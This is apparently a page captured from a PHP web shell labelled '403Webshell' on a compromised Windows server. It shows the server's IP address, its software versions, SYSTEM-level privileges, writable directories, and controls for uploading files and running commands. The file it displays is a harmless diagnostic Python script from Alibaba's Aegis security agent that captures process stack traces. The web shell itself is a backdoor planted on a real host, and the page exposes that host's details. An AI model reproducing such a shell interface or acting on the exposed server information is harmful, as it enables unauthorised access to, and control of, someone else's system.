403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/aegis_checker/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/aegis_checker/info/catch_aegis_stack.py
# -*- coding: utf-8 -*-
import os
import shlex
import subprocess
import sys
import threading
import logging
import time

from aegis_checker.common.print_log import *
from aegis_checker.common.platform_info import is_windows
from aegis_checker.common.common_path import get_tool_dir, get_log_dir
from check_aegis_info import is_yun_dun_alive, is_yun_dun_update_alive


class AegisStackCatcher(threading.Thread):
    def __init__(self, max_time):
        threading.Thread.__init__(self)
        self.__max_time = max_time

    # only support linux now
    def run(self):
        if is_windows():
            logging.info("is not support to catch stack in windows")
            return

        # wait yun dun 5min
        log_info("begin to wait AliYunDun process, please wait %dmin" % self.__max_time)
        for i in range(self.__max_time * 60):
            yun_dun_is_alive, yun_dun_pid = is_yun_dun_alive()
            yun_dun_update_is_alive, yun_dun_update_pid = is_yun_dun_update_alive()

            if not yun_dun_is_alive and not yun_dun_update_is_alive:
                logging.info("AliYunDun and AliYunDunUpdate are not alive, do not catch stack for it")
                return

            if not yun_dun_is_alive:
                time.sleep(1)
            else:
                break
        else:
            logging.info("wait AliYunDun process fail")
            return

        log_info("begin to catch aegis stack for pid %d, please wait %dmin" % (yun_dun_pid, self.__max_time))
        eu_stack = os.path.join(get_tool_dir(), "eu-stack")

        if not os.path.exists(eu_stack):
            logging.warning("%s is not exists", eu_stack)
            return

        os.chmod(eu_stack, 0755)

        log_dir = os.path.join(get_log_dir(), "stack")
        if not os.path.exists(log_dir):
            os.mkdir(log_dir)

        # 5min
        i = 0
        while i < self.__max_time * 60:
            # eu-stack return 1 if success
            args = shlex.split("%s -p %d" % (eu_stack, yun_dun_pid))
            p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            for j in range(10):
                sys.stdout.write('.')
                sys.stdout.flush()

                i += 1
                time.sleep(1)
                ret = p.poll()

                if ret is None:
                    continue

                out, err = p.communicate()
                if ret > 1:
                    logging.info("eu-stack return %d, error is %s, try to get AliYunDun pid again", ret, err.decode('utf-8'))
                    while i < self.__max_time * 60:
                        i += 1
                        time.sleep(1)
                        yun_dun_is_alive, yun_dun_pid = is_yun_dun_alive()
                        if yun_dun_pid > 0:
                            logging.info("new AliYunDun pid is %d", yun_dun_pid)
                            break
                    break
                else:
                    time_string = time.strftime("%H_%M_%S", time.localtime(time.time()))
                    log_path = "%s/%s_%d_%d.log" % (log_dir, time_string, yun_dun_pid, i)

                    with open(log_path, "w") as f:
                        f.write(out.decode('utf-8'))
                    break
            else:
                logging.warning("eu-stack is not exit after 10s, kill it and stop to catch stack")
                p.kill()
                return
        print ""
        log_info("end to catch aegis stack")


if __name__ == '__main__':
    logging.basicConfig(format='%(asctime)s [%(filename)s][%(levelname)s] %(message)s', level=logging.DEBUG)
    stack_catcher = AegisStackCatcher(2)
    stack_catcher.start()
    stack_catcher.join()

Youez - 2016 - github.com/yon3zu
LinuXploit